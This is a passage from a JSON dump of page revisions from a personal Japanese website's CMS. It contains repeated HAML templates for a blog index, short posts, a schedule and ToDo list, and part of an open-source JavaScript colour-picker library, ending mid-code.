\"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%title ssig33.com - texts\r\n#all\r\n %h1 ssig33.com - texts\r\n %p\r\n %a{:href =\u003e \"/\"}back to the top\r\n -pages = []\r\n -Page.where(\"name like ?\",\"t/%\").order(\"created_at desc\").limit(100).each do |p|\r\n -pages \u003c\u003c p.name unless pages.index(p.name)\r\n -pages.uniq\r\n -pages.each do |p|\r\n %a{:href =\u003e /#{p}}=p\r\n","created_at":"2011-06-01T09:33:28.000Z","updated_at":"2011-06-01T09:33:28.000Z"},{"id":1636,"name":"t","body":"haml Texts\r\n-# vim: set ft=haml:\r\n!!!\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%title ssig33.com - texts\r\n#all\r\n %h1 ssig33.com - texts\r\n %p\r\n %a{:href =\u003e \"/\"}back to the top\r\n -pages = []\r\n -Page.where(\"name like ?\",\"t/%\").order(\"created_at desc\").limit(100).each do |p|\r\n -pages \u003c\u003c p.name unless pages.index(p.name)\r\n -pages.uniq\r\n -pages.each do |p|\r\n %a{:href =\u003e \"/#{p}\"}=p\r\n","created_at":"2011-06-01T09:33:38.000Z","updated_at":"2011-06-01T09:33:38.000Z"},{"id":1637,"name":"t","body":"haml Texts\r\n-# vim: set ft=haml:\r\n!!!\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%title ssig33.com - texts\r\n#all\r\n %h1 ssig33.com - texts\r\n %p\r\n %a{:href =\u003e \"/\"}back to the top\r\n -pages = []\r\n -Page.where(\"name like ?\",\"t/%\").order(\"created_at desc\").limit(100).each do |p|\r\n -pages \u003c\u003c p.name unless pages.index(p.name)\r\n -pages.uniq\r\n -pages.each do |p|\r\n %a{:href =\u003e \"/#{p}\"}=p.sub(/^t1\\//, \"\")\r\n","created_at":"2011-06-01T09:34:03.000Z","updated_at":"2011-06-01T09:34:03.000Z"},{"id":1638,"name":"t","body":"haml Texts\r\n-# vim: set ft=haml:\r\n!!!\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%title ssig33.com - texts\r\n#all\r\n %h1 ssig33.com - texts\r\n %p\r\n %a{:href =\u003e \"/\"}back to the top\r\n -pages = []\r\n -Page.where(\"name like ?\",\"t/%\").order(\"created_at desc\").limit(100).each do |p|\r\n -pages \u003c\u003c p.name unless pages.index(p.name)\r\n -pages.uniq\r\n -pages.each do |p|\r\n %a{:href =\u003e \"/#{p}\"}=p.sub(/t1\\//, \"\")\r\n","created_at":"2011-06-01T09:34:10.000Z","updated_at":"2011-06-01T09:34:10.000Z"},{"id":1639,"name":"t","body":"haml Texts\r\n-# vim: set ft=haml:\r\n!!!\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%title ssig33.com - texts\r\n#all\r\n %h1 ssig33.com - texts\r\n %p\r\n %a{:href =\u003e \"/\"}back to the top\r\n -pages = []\r\n -Page.where(\"name like ?\",\"t/%\").order(\"created_at desc\").limit(100).each do |p|\r\n -pages \u003c\u003c p.name unless pages.index(p.name)\r\n -pages.uniq\r\n -pages.each do |p|\r\n %a{:href =\u003e \"/#{p}\"}=p.sub(/t1/, \"\")\r\n","created_at":"2011-06-01T09:34:21.000Z","updated_at":"2011-06-01T09:34:21.000Z"},{"id":1640,"name":"t","body":"haml Texts\r\n-# vim: set ft=haml:\r\n!!!\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%title ssig33.com - texts\r\n#all\r\n %h1 ssig33.com - texts\r\n %p\r\n %a{:href =\u003e \"/\"}back to the top\r\n -pages = []\r\n -Page.where(\"name like ?\",\"t/%\").order(\"created_at desc\").limit(100).each do |p|\r\n -pages \u003c\u003c p.name unless pages.index(p.name)\r\n -pages.uniq\r\n -pages.each do |p|\r\n %a{:href =\u003e \"/#{p}\"}=p.sub(/t\\//, \"\")\r\n","created_at":"2011-06-01T09:34:31.000Z","updated_at":"2011-06-01T09:34:31.000Z"},{"id":1641,"name":"t","body":"haml Texts\r\n-# vim: set ft=haml:\r\n!!!\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%title ssig33.com - texts\r\n#all\r\n %h1 ssig33.com - texts\r\n %p\r\n %a{:href =\u003e \"/\"}back to the top\r\n -pages = []\r\n -Page.where(\"name like ?\",\"t/%\").order(\"created_at desc\").limit(100).each do |p|\r\n -pages \u003c\u003c p.name unless pages.index(p.name)\r\n -pages.uniq\r\n -pages.each do |p|\r\n %a{:href =\u003e \"/#{p}\"}=Page.where(:name =\u003e p).order(\"created_at desc\").title\r\n","created_at":"2011-06-01T09:34:57.000Z","updated_at":"2011-06-01T09:34:57.000Z"},{"id":1642,"name":"t","body":"haml Texts\r\n-# vim: set ft=haml:\r\n!!!\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%title ssig33.com - texts\r\n#all\r\n %h1 ssig33.com - texts\r\n %p\r\n %a{:href =\u003e \"/\"}back to the top\r\n -pages = []\r\n -Page.where(\"name like ?\",\"t/%\").order(\"created_at desc\").limit(100).each do |p|\r\n -pages \u003c\u003c p.name unless pages.index(p.name)\r\n -pages.uniq\r\n -pages.each do |p|\r\n %a{:href =\u003e \"/#{p}\"}=Page.where(:name =\u003e p).order(\"created_at desc\").first.title\r\n","created_at":"2011-06-01T09:35:04.000Z","updated_at":"2011-06-01T09:35:04.000Z"},{"id":1643,"name":"t/2","body":"title とりあえずブログっぽいものは作った =created_at=\r\n=text_header=\r\n# 一通りの機能は揃った気がする。\r\nあと AutoPagerize 対応と List ページの視認性。\r\n\r\n\u003cscript src=\"http://ssig33.com/js/text.js\"/\u003e","created_at":"2011-06-01T09:35:55.000Z","updated_at":"2011-06-01T09:35:55.000Z"},{"id":1644,"name":"t","body":"haml Texts\r\n-# vim: set ft=haml:\r\n!!!\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%title ssig33.com - texts\r\n#all\r\n %h1 ssig33.com - texts\r\n %p\r\n %a{:href =\u003e \"/\"}back to the top\r\n -pages = []\r\n -Page.where(\"name like ?\",\"t/%\").order(\"created_at desc\").limit(20).each do |p|\r\n -pages \u003c\u003c p.name unless pages.index(p.name)\r\n -pages.uniq\r\n -pages.each do |p|\r\n %a{:href =\u003e \"/#{p}\"}=Page.where(:name =\u003e p).order(\"created_at desc\").first.title\r\n %br","created_at":"2011-06-01T09:37:17.000Z","updated_at":"2011-06-01T09:37:17.000Z"},{"id":1645,"name":"t","body":"haml Texts\r\n-# vim: set ft=haml:\r\n!!!\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%title ssig33.com - texts\r\n#all\r\n %h1 ssig33.com - texts\r\n %p\r\n %a{:href =\u003e \"/\"}back to the top\r\n %a{:href =\u003e \"/feed\"}feed\r\n -pages = []\r\n -Page.where(\"name like ?\",\"t/%\").order(\"created_at desc\").limit(20).each do |p|\r\n -pages \u003c\u003c p.name unless pages.index(p.name)\r\n -pages.uniq\r\n -pages.each do |p|\r\n %a{:href =\u003e \"/#{p}\"}=Page.where(:name =\u003e p).order(\"created_at desc\").first.title\r\n %br","created_at":"2011-06-01T09:37:31.000Z","updated_at":"2011-06-01T09:37:31.000Z"},{"id":1646,"name":"t","body":"haml Texts\r\n-# vim: set ft=haml:\r\n!!!\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%title ssig33.com - texts\r\n#all\r\n %h1 ssig33.com - texts\r\n %p\r\n %a{:href =\u003e \"/\"}back to the top\r\n %a{:href =\u003e \"/feed\"}feed\r\n -pages = []\r\n -Page.where(\"name like ?\",\"t/%\").order(\"created_at desc\").limit(20).each do |p|\r\n -pages \u003c\u003c p.name unless pages.index(p.name)\r\n -pages.uniq\r\n -pages.each do |p|\r\n %p\r\n %a{:href =\u003e \"/#{p}\"}=Page.where(:name =\u003e p).order(\"created_at desc\").first.title","created_at":"2011-06-01T09:37:42.000Z","updated_at":"2011-06-01T09:37:42.000Z"},{"id":1647,"name":"js/text.js","body":"raw\r\n$.each($('#all p:first'), function(){\r\n node = $(this)\r\n if(node.text() == \"=text_header=\"){\r\n $.get(\"/parts/text_header\", function(data){node.after(data);node.remove()});\r\n }\r\n});\r\n\r\n// vim: set ft=javascript:","created_at":"2011-06-01T09:38:23.000Z","updated_at":"2011-06-01T09:38:23.000Z"},{"id":1648,"name":"t/3","body":"title これ微妙かも =created_at=\r\n=text_header=\r\n# これ微妙かも\r\nブログ的なフォーマットの追求にどこまで意味があるのかという話。\r\n\r\n「ブログ的なフォーマット」は feed twitter tumblr に任せてしまえばいいのではないかな。\r\n\r\n「ブログ的なフォーマット」を得ることで書きやすさは得られるという効果はあるけど。\r\n\r\n\u003cscript src=\"http://ssig33.com/js/text.js\"/\u003e","created_at":"2011-06-01T09:41:04.000Z","updated_at":"2011-06-01T09:41:04.000Z"},{"id":1649,"name":"t/4","body":"title シリーズページのテンプレ =created_at=\r\n=text_header=\r\n# シリーズページのテンプレ\r\nとしては使えるかもしれない。 ssig33.com にそういうものが来る日があるかどうかは誰にも分からない。\r\n\r\n\u003cscript src=\"http://ssig33.com/js/text.js\"/\u003e","created_at":"2011-06-01T09:42:02.000Z","updated_at":"2011-06-01T09:42:02.000Z"},{"id":1650,"name":"ToDo","body":"# ToDo\r\n## Fastladder の Rails3 へのアップグレード\r\n## MOU 解約\r\n## AU 解約\r\n## 金曜日のアレ店探す\r\n## このサイトの CMS を整理して一般公開","created_at":"2011-06-01T09:42:30.000Z","updated_at":"2011-06-01T09:42:30.000Z"},{"id":1651,"name":"schedule","body":"# ssig33 の予定\r\n# 昼間は人並に仕事してます\r\n\r\n## 6/2(木)夜 私用\r\n## 6/3(金)夜 私用\r\n## 6/4(土) - 6/5(日) 暇 ","created_at":"2011-06-01T11:31:37.000Z","updated_at":"2011-06-01T11:31:37.000Z"},{"id":1652,"name":"schedule","body":"# ssig33 の予定\r\n# 昼間は人並に仕事してます\r\n\r\n## 6/2(木)夜 私用\r\n## 6/3(金)夜 私用\r\n## 6/4(土) - 6/5(日) 暇\r\n## 6/10(金)夜 私用","created_at":"2011-06-01T11:33:09.000Z","updated_at":"2011-06-01T11:33:09.000Z"},{"id":1653,"name":"schedule","body":"# ssig33 の予定\r\n# 昼間は人並に仕事してます\r\n\r\n## 6/2(木)夜 私用\r\n## 6/3(金)夜 私用\r\n## 6/4(土) - 6/5(日) 暇\r\n## 6/10(金)夜 私用\r\n## 6/18(土)昼は暇 夜オフ会\r\n## 6/25(土)-26(日) まだ未定だけどいろいろある","created_at":"2011-06-01T11:36:38.000Z","updated_at":"2011-06-01T11:36:38.000Z"},{"id":1654,"name":"schedule","body":"# ssig33 の予定\r\n# 平日昼間は人並に仕事してます\r\n\r\n## 6/2(木)夜 私用\r\n## 6/3(金)夜 私用\r\n## 6/4(土) - 6/5(日) 暇\r\n## 6/10(金)夜 私用\r\n## 6/18(土)昼は暇 夜オフ会\r\n## 6/25(土)-26(日) まだ未定だけどいろいろある","created_at":"2011-06-01T11:37:06.000Z","updated_at":"2011-06-01T11:37:06.000Z"},{"id":1655,"name":"プログラミングをはじめたきっかけ","body":"# プログラミングをはじめたきっかけ\r\nそれぐらい 140 字以内で書けや。文盲か?\r\n\r\n[http://twitter.com/#!/ssig33/status/75439487274070016](http://twitter.com/#!/ssig33/status/75439487274070016)","created_at":"2011-06-01T13:09:25.000Z","updated_at":"2011-06-01T13:09:25.000Z"},{"id":1656,"name":"js/cpick.js","body":"raw\r\n\r\n// Copyright 2007-2009 futomi http://www.html5.jp/\r\n//\r\n// Licensed under the Apache License, Version 2.0 (the \"License\");\r\n// you may not use this file except in compliance with the License.\r\n// You may obtain a copy of the License at\r\n//\r\n// http://www.apache.org/licenses/LICENSE-2.0\r\n//\r\n// Unless required by applicable law or agreed to in writing, software\r\n// distributed under the License is distributed on an \"AS IS\" BASIS,\r\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n// See the License for the specific language governing permissions and\r\n// limitations under the License.\r\n//\r\n// cpick.js v1.0.0\r\n\r\n(function () {\r\n\r\n/* -------------------------------------------------------------------\r\n* constructor\r\n* ----------------------------------------------------------------- */\r\ncpick = function (trigger, target, p) {\r\n\tif( typeof(trigger) == \"undefined\" || ! trigger ) { return; }\r\n\tif( typeof(target) == \"undefined\" || ! target ) { return; }\r\n\tif( typeof(p) == \"undefined\" || ! p ) { return; }\r\n\t//\r\n\tif( ! /^input$/i.test(target.nodeName) || ! /^text$/.test(target.type) ) { return; }\r\n\tif( ! /^(input|button)$/i.test(trigger.nodeName) ) { return; }\r\n\t/* -------------------------------------------------------------------\r\n\t* default settings\r\n\t* ----------------------------------------------------------------- */\r\n\tvar dp = {\r\n\t\twidth: 200,\r\n\t\theight: 160,\r\n\t\tgrid: 1,\r\n\t\tgridie: 2,\r\n\t\tshow: 3,\r\n\t\thide: 3,\r\n\t\tcoloring: false\r\n\t};\r\n\t/* -------------------------------\r\n\t* initialize parameters\r\n\t* ----------------------------- */\r\n\tif( typeof(p) == \"undefined\" ) { p = {}; }\r\n\tfor( var k in dp ) {\r\n\t\tif( typeof(p[k]) == \"undefined\" ) {\r\n\t\t\tp[k] = dp[k];\r\n\t\t}\r\n\t}\r\n\t// width of progress bar\r\n\tp.width = parseFloat(p.width);\r\n\tif( p.width \u003c 100 ) {\r\n\t\tp.width = 100;\r\n\t} else if( p.width \u003e 400 ) {\r\n\t\tp.width = 400;\r\n\t}\r\n\t// height of progress bar\r\n\tp.height = parseFloat(p.height);\r\n\tif( p.height \u003c 100 ) {\r\n\t\tp.height = 100;\r\n\t} else if( p.height \u003e 400 ) {\r\n\t\tp.height = 400;\r\n\t}\r\n\t// grid size of color palette\r\n\tp.grid = parseInt(p.grid);\r\n\tif( p.grid \u003c 1 ) {\r\n\t\tp.grid = 1;\r\n\t} else if( p.grid \u003e 5 ) {\r\n\t\tp.grid = 5;\r\n\t}\r\n\t// grid size of color palette for Internet Explorer\r\n\tp.gridie = parseInt(p.gridie);\r\n\tif( p.gridie \u003c 1 ) {\r\n\t\tp.gridie = 1;\r\n\t} else if( p.gridie \u003e 5 ) {\r\n\t\tp.gridie = 5;\r\n\t}\r\n\t// show speed\r\n\tp.show = parseInt(p.show);\r\n\tif( p.show \u003c 0 ) {\r\n\t\tp.show = 0;\r\n\t} else if( p.show \u003e 5 ) {\r\n\t\tp.show = 5;\r\n\t}\r\n\t// hide speed\r\n\tp.hide = parseInt(p.hide);\r\n\tif( p.hide \u003c 0 ) {\r\n\t\tp.hide = 0;\r\n\t} else if( p.hide \u003e 5 ) {\r\n\t\tp.hide = 5;\r\n\t}\r\n\t// boolean parameters\r\n\tvar boolean_params = [\"coloring\"];\r\n\tfor( var i=0; i\u003cboolean_params.length; i++ ) {\r\n\t\tvar k = boolean_params[i];\r\n\t\tif( typeof(p[k]) == \"string\" ) {\r\n\t\t\tif(p[k] == \"true\") {\r\n\t\t\t\tp[k] = true;\r\n\t\t\t} else if(p[k] == \"false\") {\r\n\t\t\t\tp[k] = false;\r\n\t\t\t}\r\n\t\t} else if( typeof(p[k]) != \"boolean\" ) {\r\n\t\t\tp[k] = dp[k];\r\n\t\t}\r\n\t}\r\n\t/* -------------------------------\r\n\t* save initialize parameters\r\n\t* ----------------------------- */\r\n\tvar initp = {};\r\n\tfor( var k in p ) {\r\n\t\tvar v = p[k];\r\n\t\tinitp[k] = v;\r\n\t}\r\n\t//\r\n\tthis.p = p;\r\n\tthis.initp = initp;\r\n\tthis.nodes = {\r\n\t\ttrigger: trigger,\r\n\t\ttarget: target,\r\n\t\tpanel: null,\r\n\t\tpalette: null,\r\n\t\tbar: null,\r\n\t\tpind: null,\r\n\t\tbind: null\r\n\t};\r\n\t// current color\r\n\tthis.hls = { h:180, l:0.5, s:0.5 };\r\n\tthis.rgb = { r:63, g:191, b:191 };\r\n};\r\n\r\n/* -------------------------------------------------------------------\r\n* prototypes\r\n* ----------------------------------------------------------------- */\r\nvar proto = cpick.prototype;\r\n\r\n/* -------------------------------------------------------------------\r\n* public methods\r\n* ----------------------------------------------------------------- */\r\n\r\nproto.prepare = function() {\r\n\t// set the current color\r\n\tvar text = this.nodes.target.value;\r\n\tif( typeof(text) == \"string\" \u0026\u0026 text != \"\" ) {\r\n\t\tvar rgb = this._conv_color_to_rgb(text);\r\n\t\tif( rgb != null ) {\r\n\t\t\tthis.rgb = rgb;\r\n\t\t\tthis.hls = this._rgb_to_hls(rgb);\r\n\t\t}\r\n\t\t// coloring the trigger element\r\n\t\tif(this.p.coloring == true) {\r\n\t\t\tthis._coloring_trigger();\r\n\t\t}\r\n\t}\r\n};\r\n\r\nproto.flip = function() {\r\n\tvar panel = this.nodes.panel;\r\n\tif(panel \u0026\u0026 this.nodes.panel.style.display != \"none\") {\r\n\t\tthis.hide();\r\n\t} else {\r\n\t\tthis.show();\r\n\t}\r\n};\r\n\r\nproto.show = function() {\r\n\tvar panel = this.nodes.panel;\r\n\tif( typeof(panel) == \"undefined\" || ! panel ) {\r\n\t\tpanel = this._create_panel();\r\n\t\tthis.nodes.panel = panel;\r\n\t\tpanel.style.display = \"none\";\r\n\t} else {\r\n\t\tif(panel._resizing == true) { return; }\r\n\t}\r\n\tvar pos = this._get_element_abs_pos(this.nodes.trigger);\r\n\tpanel.style.top = pos.top + \"px\";\r\n\tpanel.style.left = (pos.left + pos.width + 10) + \"px\";\r\n\tthis._show_selected_color_infomations();\r\n\tthis._set_indicators();\r\n\tif(panel.style.display == \"none\") {\r\n\t\tpanel.style.zIndex += 1;\r\n\t\tthis._show_element(panel, this.p.show);\r\n\t}\r\n};\r\n\r\nproto.hide = function() {\r\n\tvar panel = this.nodes.panel;\r\n\tif( panel == null ) { return; }\r\n\tif(panel._resizing == true) { return; }\r\n\tpanel.style.zIndex = 1;\r\n\tthis._hide_element(panel, this.p.hide);\r\n};\r\n\r\n/* -------------------------------------------------------------------\r\n* private methods\r\n* ----------------------------------------------------------------- */\r\n\r\nproto._create_panel = function() {\r\n\tvar p = this.p;\r\n\tvar el = this.nodes.target;\r\n\tvar margin = p.width * 0.03;\r\n\tvar footer_height = 20;\r\n\tvar border_width = 1;\r\n\t// outer frame\r\n\tvar panel = this._create_div_node();\r\n\tpanel._resizing = false;\r\n\tthis._set_styles(panel, {\r\n\t\tborderColor: \"#aaaaaa #666666 #666666 #aaaaaa\",\r\n\t\tborderStyle: \"solid\",\r\n\t\tborderWidth: border_width + \"px\",\r\n\t\tbackgroundColor: \"#dddddd\",\r\n\t\twidth: p.width + \"px\",\r\n\t\theight: p.height + \"px\",\r\n\t\tposition: \"absolute\",\r\n\t\toverflow: \"hidden\",\r\n\t\tdisplay: \"none\",\r\n\t\tzIndex: 1\r\n\t});\r\n\t//\r\n\tvar canvas = document.createElement(\"CANVAS\");\r\n\tif ( canvas \u0026\u0026 canvas.getContext ) {\r\n\t\tcanvas.width = p.width;\r\n\t\tcanvas.height = p.height;\r\n\t\tthis._set_styles(canvas, {\r\n\t\t\tposition: \"absolute\",\r\n\t\t\tleft: \"0px\",\r\n\t\t\ttop: \"0px\"\r\n\t\t});\r\n\t\tvar ctx = canvas.getContext('2d');\r\n\t\tvar grad = ctx.createLinearGradient(0,0, 0,p.height);\r\n\t\tgrad.addColorStop(0, \"#ffffff\");\r\n\t\tgrad.addColorStop(0.05, \"#dddddd\");\r\n\t\tgrad.addColorStop(0.95, \"#dddddd\");\r\n\t\tgrad.addColorStop(1, \"#bbbbbb\");\r\n\t\tctx.fillStyle = grad;\r\n\t\tctx.fillRect(0, 0, p.width, p.height);\r\n\t\tpanel.appendChild(canvas);\r\n\t} else if(document.uniqueID) {\r\n\t\tvar vml = \"\";\r\n\t\tvml += '\u003cv:rect style=\"left:-1px; top:0px; width:' + p.width + 'px; height:' + p.height + 'px; position:absolute;\" filled=\"true\" stroked=\"false\"\u003e';\r\n\t\tvml += '\u003cv:fill type=\"gradient\" color=\"#bbbbbb\" color2=\"#ffffff\" colors=\"5% #dddddd,95%#dddddd\" /\u003e';\r\n\t\tvml += '\u003c/v:rect\u003e';\r\n\t\tpanel.innerHTML = vml;\r\n\t}\r\n\tthis.nodes.panel = panel;\r\n\tdocument.body.appendChild(panel);\r\n\t// color palette\r\n\tvar palette = this._create_div_node();\r\n\tthis._set_styles(palette, {\r\n\t\tborderColor: \"#888888 #ffffff #ffffff #888888\",\r\n\t\tborderStyle: \"solid\",\r\n\t\tborderWidth: border_width + \"px\",\r\n\t\tbackgroundColor: \"#dddddd\",\r\n\t\twidth: ( (p.width - margin * 3) * 0.9 - border_width * 2 ) + \"px\",\r\n\t\theight: (p.height - footer_height - border_width * 2 - margin * 3) + \"px\",\r\n\t\tposition: \"absolute\",\r\n\t\tleft: margin + \"px\",\r\n\t\ttop: margin + \"px\",\r\n\t\toverflow: \"hidden\",\r\n\t\tcursor: \"pointer\"\r\n\t});\r\n\tthis.nodes.palette = palette;\r\n\tthis._draw_palette();\r\n\tpanel.appendChild(palette);\r\n\t// lightness bar\r\n\tvar bar = this._create_div_node();\r\n\tthis._set_styles(bar, {\r\n\t\tborderColor: \"#888888 #ffffff #ffffff #888888\",\r\n\t\tborderStyle: \"solid\",\r\n\t\tborderWidth: border_width + \"px\",\r\n\t\tbackgroundColor: \"#dddddd\",\r\n\t\twidth: ( (p.width - margin * 3) * 0.1 - border_width * 4 ) + \"px\",\r\n\t\theight: (p.height - footer_height - border_width * 2 - margin * 3) + \"px\",\r\n\t\tposition: \"absolute\",\r\n\t\tleft: ( (p.width - margin * 3) * 0.9 + border_width * 2 + margin * 2 ) + \"px\",\r\n\t\ttop: margin + \"px\",\r\n\t\toverflow: \"hidden\",\r\n\t\tcursor: \"pointer\"\r\n\t});\r\n\tthis.nodes.bar = bar;\r\n\tpanel.appendChild(bar);\r\n\t// palette indicator\r\n\tvar ie_quirks = false;\r\n\tif( document.uniqueID \u0026\u0026 document.compatMode == \"BackCompat\" ) {\r\n\t\tie_quirks = true;\r\n\t}\r\n\tvar pind = this._create_div_node();\r\n\tthis._set_styles(pind, {\r\n\t\tbackgroundColor: \"transparent\",\r\n\t\tborder: \"1px solid white\",\r\n\t\twidth: ie_quirks ? \"5px\" : \"3px\",\r\n\t\theight: ie_quirks ? \"5px\" : \"3px\",\r\n\t\tposition: \"absolute\",\r\n\t\tleft: \"0px\",\r\n\t\ttop: \"0px\"\r\n\t});\r\n\tpalette.appendChild(pind);\r\n\tthis.nodes.pind = pind;\r\n\t// bar indicator\r\n\tvar bind = this._create_div_node();\r\n\tthis._set_styles(bind, {\r\n\t\tbackgroundColor: \"transparent\",\r\n\t\tborderTop: \"1px solid #888888\",\r\n\t\tborderBottom: \"1px solid #ffffff\",\r\n\t\twidth: bar.style.width,\r\n\t\theight: \"5px\",\r\n\t\tposition: 